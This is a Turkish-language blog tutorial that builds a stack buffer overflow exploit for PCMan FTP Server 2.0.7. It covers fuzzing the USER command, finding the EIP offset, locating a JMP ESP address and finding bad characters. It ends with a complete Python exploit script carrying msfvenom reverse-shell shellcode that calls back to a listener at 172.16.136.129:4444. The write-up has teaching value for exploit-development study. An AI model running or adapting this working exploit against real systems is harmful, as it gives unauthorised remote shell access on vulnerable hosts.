Stack Buffer Overflow Zafiyeti – PCMan FTP Server 2.0.7

Bugün ki yazımda Stack Tabanlı Buffer Overflow Zafiyetini PCMan FTP Server 2.0.7 uygulaması üzerinden exploit kodunu geliştireceğiz.

Başlamadan önce Bellek taşması zafiyetleri yani Buffer Overflow Zafiyetleri nedir?

Adından da anlaşılacağı üzere bellek taşması, sınırlı boyuttaki bellek alanına, planlanan miktarın üzerinde veri kopyalanınca yaşanan taşma durumudur. Örneğin uygulama üzerinde değişkene 10 karakterlik bir boyut tanımladınız fakat kullanıcı tarafından girilen girdide 20 karakterlik bir değer bulunmakta bu fazladan girilen 10 değer uygulamanın çalışma alanının dışına çıkarak uygulamanın crash olmasına ve diğer Register alanlarına yazılmasına sebep olacaktır.

Uygulamanın çalışma anında kullandığı bellek ve adresleri temel seviyede ne işe yaradığını bilmek önemlidir.

EIP: Instruction pointer olarak geçmektedir.CPU’nun an itibariyle code segment’i içerisindeki hangi instruction’i çalıştıracağını gösterir.

ESP: Stack pointer. Stack veri yapısının LIFO (Last In Firs Out)  son giren yani ilk çıkacak elemanı gösterir.

Fuzzing

Uygulama windows üzerinde indirip çalıştırıldığında aşağıdaki gibi çalışmaktadır.

Uygulama çalıştırıldıktan sonra 21.porttan çalışmaktadır. Hedef nmap ile tarandığında uygulamanın versiyon bilgisi ve kurulu olduğu işletim sistemi bilgilerine ulaşabilmekteyiz.

PCMan FTP Server 2.0.7 uygulamasında Stack Buffer Overflow zafiyetini tespit edebilmek için bir debugger’a ihtiyacımız olacak bu yazıda ben Immunity Debugger  kullanacağım. Immunity Debugger’ı kurduktan sonra çalışan PCMan FTP Server 2.0.7 Attach edip çalıştırmamız gerekmektedir.

File -> Attach dedikten sonra  gelen process listesinden uygulamamıza ait olan PCMan FTP Server’ı seçiyoruz.

Daha sonra ise Debug -> Run  ya da F9 ile uygulamamızın processini debuggerda çalıştırıyoruz.

Yukarıda ki resimde görüldüğü üzere sağ üstte Paused yazıyor, Run dedikten sonra ise aşağıda ki resimde olduğu gibi sağ altta Running yazmalıdır.

Bu aşamadan sonra ise artık uygulamada Stack Tabanlı Buffer Overflow Zafiyetinin olup olmadığının testini yapacağız.

Crash

Aşağıda ki resimde görülen basit kod parçası  uygulamanın USER parametresine 5000 adet A karakteri göndermektedir.

Bu kod ile 5000 adet A karakteri gönderdiğimiz uygulamanın crash olup çöktüğü görülmektedir.

Debuggerda görüldüğü üzere ESP ve EIP değerleri 41414141 yani AAAA demektedir. A’nın hex değeri 41 dir.

Şuan 5000 adet A karakteri gönderdiğimiz için ESP ve EIP değerlerine kaçıncı karakterlerin yazıldığını tespit edemiyoruz.  Bunun için 5000 adet bir birinden farklı (unique) değer göndererek kaçıncı karakterden sonra ESP’nin bitip EIP üzerine yazıldığını bulmamız gerekmektedir. Bu benzersiz değerleri üretmek ve bir çok işlemimizi kolaylaştırmak için mona.py adında bir python scripti bulunmaktadır. Bu scripti github adresinden indirerek ” C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands ” dizinin altına taşıyarak Immunity Debugger üzerinde eklenti olarak kullanılabilmektedir.

!mona pattern_create 5000 komutu ile mona.py kullanılarak 5000 adet birbirinden farklı değer üretilmektedir.

Ayrıca bu işlemi metasploit-framework içinde bulunan pattern_create.rb ile de yapılabilmektedir.

Bu sefer 5000 adet A yerine oluşturduğumuz bir birinden farklı string ifadeyi göndermekteyiz. Yine göndermeden debugger üzerinden PCMan FTP Server 2.0.7 uygulamamızı Run diyerek çalışır moda almamız gerekmektedir.

Gönderdiğimizde bu sefer EIP değerine farklı bir değerin yazıldığı görülmektedir.

Yine mona.py harici metasploit-framework içinde bulunan pattern_offset.rb ile de bulunabilmektedir.

EIP Kontrolü ve İstediğimiz Değeri Yazma

Yazılan bu değerin kacıncı karaktere denk geldiğini bulmak için mona ile pattern_offset özelliğini kullanıyoruz. Yukarıda ki resimde görüldüğü üzere 2002 olarak görülmektedir. Bu 2002 karakterden sonra yazılan değerlerin EIP üzerine yazılması anlamına gelmektedir.

2002 adet A gönderdikten sonra gönderdiğimiz BBBB değeri EIP üzerine yazılacaktır.

Debuggerda görüldüğü üzere EIP üzerinde 42424242 (BBBB)  yazmaktadır. B’nin hex değeri 42 dir.

Bu sefer görüldüğü üzere EIP üzerine yazılacak değeri değiştirip yeniden gönderiyoruz.

Debugger üzerinde görüleceği üzere EIP değeri DEADBEEF başarılı bir şekilde yazılmıştır. Buradan gördüğümüz gibi EIP üzerine istediğimiz değerleri yazabilmekteyiz.

Shellcode Boyut Tespiti

Kodumuzu yeniden yukarıda ki gibi düzenleyip çalıştırdıktan sonra debugger da ESP alanına yazılan C değerlerini inceleyeceğiz.

ESP alanına yazılan C değerlerine sağa tıklayıp Follow in Dump diyerek  yazıldığı başlangıç ve bitiş adreslerini bulup çıkarma işlemi yaptığımızda ESP alanına yazabileceğimiz en fazla byte değerini bulabilmekteyiz.

ESP alanına yazılabilecek en fazla değer 4104 byte dır. Exploit kodunu geliştirirken yazacağımız shellcode bu değerin üstüne çıkmamalıdır.

Stack’e Atlanacak Adresi Bulma (JMP ESP)

EIP değerine yukarıda BBBB ,DEADBEEF gibi istediğimiz değerleri yazmıştık. Artık programın içinde JMP ESP yani EIP adresine yazacağımız değer ESP alanına geçmesine yaracak  adresi bulmamız gerekmektedir. Bunun için debugger üzerinde View – Executable modules tıklayarak programın kullandığı DLL dosyalarını görüntüleyebilmekteyiz.

USER32.dll dosyasını seçip jmp esp arattığımızda aşağıda ki resimde gördüğünüz 7E429353 adresine ulaşmaktayız.!mona jmp -m * -r esp ve !mona find -s “\xff\xe4” -m PCManFTPD2.dll  komutlarıyla JMP ESP değerleri bulunabilir. EIP değerine bu adresi yazarak programın ESP alanına geçmesini sağlayacağız. ESP alanında bizim hazırlayacağımız shellcode çalışacaktır.

Bu aşamadan sonra artık msfvenom ile shellcode üretip bunu göndermek kalıyor.

Bad Chars Tespiti

Shellcode içerisinde bulunmasını istemediğimiz yani program tarafından engellenen karakterlerin tespiti yapılıp shellcode hazırlanırken bu karakterlerin kullanılmaması gerekmektedir.

!mona bytearray diyerek yukarıda ki listeye ulaşabilirsiniz. Bunu kodumuza ekleyerek  debugger üzerinde inceleyerek engellenen değerleri tespit ederek engellenen değerleri çıkararak  yeniden gönderilip aynı işlemin son karakterin yani FF değerinin debugger üzerinde başarılı bir şekilde görüntülenmesine kadar devam edilen işlemdir.


Gönderdiğimiz badchars içeren kodun debugger üzerinde ESP değerini Follow in Dump diyerek incelediğimizde sol alt tarafta sadece 00 değerinin olduğunu görüyoruz. Bu demektir ki x00 bad char kodumumuzdan x00 değerini çıkarıp yeniden gönderiyoruz.

Yeniden ESP de ki değerimize baktığımızda bu sefer 0A da kalmış ve sonra ki değerler görülmemekte. Demek ki x0A değeride bad char kodumuzdan x0A değerinide çıkartıp yeniden gönderiyoruz.

Yine aynı işlemi tekrarlayarak baktığımda bu seferde 0D değerinde kalmış görülmektedir. x0D değerimizde bad char kodumuzdan bu değeride çıkartıp yeniden göndereceğiz.

Yukarıda görüldüğü gibi x00, x0A ve x0D değerlerini çıkartıp yeniden gönderiyoruz.



Bu sefer baktığımızda en son değer olan FF değeri görülmektedir. Bu değere kadar başka bad char bulunmadığı anlamına gelmektedir. x00, x0a ve  x0d  program tarafından engellenen, istenilmeyen badchars değerleri olduğunu tespit etmiş olduk.

Shellcode 

Artık gelelim son adımımıza msfvenom -p windows/shell_reverse_tcp LHOST=172.16.136.129 LPORT=4444 -b ‘\x00\x0a\x0d’ -f py   diyerek hedef üzerinde bize reverse shell oluşturacak shellcode hazırlanmıştır. Burada -b ile yukarıda tespit ettiğimiz badchars değerlerini belirterek shellcode içerinde bulunmamasını sağladık.

Exploit 

#!/usr/share/python
import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],21))

buff="A"*2002
buff+="\x53\x93\x42\x7e"   #JMP ESP
buff+="\x90"*40
#msfvenom -p windows/shell_reverse_tcp LHOST=172.16.136.129 LPORT=4444 -b '\x00\x0a\x0d' -f py         
buff += "\xba\x44\xd8\x61\xbe\xd9\xc4\xd9\x74\x24\xf4\x5e\x2b"
buff += "\xc9\xb1\x52\x31\x56\x12\x03\x56\x12\x83\xaa\x24\x83"
buff += "\x4b\xce\x3d\xc6\xb4\x2e\xbe\xa7\x3d\xcb\x8f\xe7\x5a"
buff += "\x98\xa0\xd7\x29\xcc\x4c\x93\x7c\xe4\xc7\xd1\xa8\x0b"
buff += "\x6f\x5f\x8f\x22\x70\xcc\xf3\x25\xf2\x0f\x20\x85\xcb"
buff += "\xdf\x35\xc4\x0c\x3d\xb7\x94\xc5\x49\x6a\x08\x61\x07"
buff += "\xb7\xa3\x39\x89\xbf\x50\x89\xa8\xee\xc7\x81\xf2\x30"
buff += "\xe6\x46\x8f\x78\xf0\x8b\xaa\x33\x8b\x78\x40\xc2\x5d"
buff += "\xb1\xa9\x69\xa0\x7d\x58\x73\xe5\xba\x83\x06\x1f\xb9"
buff += "\x3e\x11\xe4\xc3\xe4\x94\xfe\x64\x6e\x0e\xda\x95\xa3"
buff += "\xc9\xa9\x9a\x08\x9d\xf5\xbe\x8f\x72\x8e\xbb\x04\x75"
buff += "\x40\x4a\x5e\x52\x44\x16\x04\xfb\xdd\xf2\xeb\x04\x3d"
buff += "\x5d\x53\xa1\x36\x70\x80\xd8\x15\x1d\x65\xd1\xa5\xdd"
buff += "\xe1\x62\xd6\xef\xae\xd8\x70\x5c\x26\xc7\x87\xa3\x1d"
buff += "\xbf\x17\x5a\x9e\xc0\x3e\x99\xca\x90\x28\x08\x73\x7b"
buff += "\xa8\xb5\xa6\x2c\xf8\x19\x19\x8d\xa8\xd9\xc9\x65\xa2"
buff += "\xd5\x36\x95\xcd\x3f\x5f\x3c\x34\xa8\xcc\xd1\xbe\xa9"
buff += "\x65\xd0\xbe\xb8\x29\x5d\x58\xd0\xc1\x0b\xf3\x4d\x7b"
buff += "\x16\x8f\xec\x84\x8c\xea\x2f\x0e\x23\x0b\xe1\xe7\x4e"
buff += "\x1f\x96\x07\x05\x7d\x31\x17\xb3\xe9\xdd\x8a\x58\xe9"
buff += "\xa8\xb6\xf6\xbe\xfd\x09\x0f\x2a\x10\x33\xb9\x48\xe9"
buff += "\xa5\x82\xc8\x36\x16\x0c\xd1\xbb\x22\x2a\xc1\x05\xaa"
buff += "\x76\xb5\xd9\xfd\x20\x63\x9c\x57\x83\xdd\x76\x0b\x4d"
buff += "\x89\x0f\x67\x4e\xcf\x0f\xa2\x38\x2f\xa1\x1b\x7d\x50"
buff += "\x0e\xcc\x89\x29\x72\x6c\x75\xe0\x36\x9c\x3c\xa8\x1f"
buff += "\x35\x99\x39\x22\x58\x1a\x94\x61\x65\x99\x1c\x1a\x92"
buff += "\x81\x55\x1f\xde\x05\x86\x6d\x4f\xe0\xa8\xc2\x70\x21"

s.recv(1024)
s.send('USER'+ buff + '\r\n')
s.close()

Kodumuzun son hali bu şekildedir. Kodumuzda JMP ESP’nin hemen altında bulunan buff+=”\x90″*40  kodu  NOPs olarak geçmektedir. Nop, No Operation’ın kısaltmasıdır. Bekleme rutinleri yazmamızı  kolaylaştırabilen assembly komutudur.
Opcode’u, 6809’da 0x12, z80’de 0x00, x86’da 0x90 ve 68k’da 0x4e71 seklindedir. x86 işlemci mimarisinde çalıştığımız için  x90 kullandık. Bu komutun özelliği hiçbir iş yapmaması ve çoğu zaman sadece tek byte yer kaplamasıdır. CPU, komutun üzerinden geçecektir. Shellcode işleme alınmadan önce, başlangıcını NOP’lerle doldurarak shellcode güvenilirliği artırılabilir. Güvenilirliği artırmak için son kodumuzun başına 40 NOP ekledik. Bu 20 ve ya 30 adet NOP eklendiğinde de exploit kodumuz çalışmaktadır.

Kodumuzu çalıştırıp ve LPORT değerinde verdiğimiz 4444 portumuzu dinlediğimiz de  hedef üzerinden gelen shell bağlantısı ile  sisteme sızmış bulunmaktayız.

Burada msfvenom ile shellcode üretirken payload olarak windows/meterpreter/reverse_tcp  kullanarak meterpreter oturumuda ele geçirebilirsiniz. Yazıda bellek taşması zafiyeti bulunan bir uygulama için exploit kodu geliştirmeyi temel seviyede anlatmaya çalıştım. Gördüğünüz hata ve ya aklınıza takılan soruları [email protected] mail adresinden bana ulaşarak sorabilirsiniz.

Başka bir yazıda görüşmek üzere 🙂

 

Faydalandığım Kaynaklar: 

http://www.enginkuzu.org/assembly03.php

http://www.enginkuzu.org/assembly06.php

http://mesuttimur.com/bellek-tasmasi-zafiyetleri/

http://www.i-programmer.info/babbages-bag/263-stacks.html

http://justpentest.blogspot.com/2015/07/minishare1.4.1-bufferoverflow.html

Ahmet Gürel

Cyber Security Researcher | Penetration Tester

Leave a Reply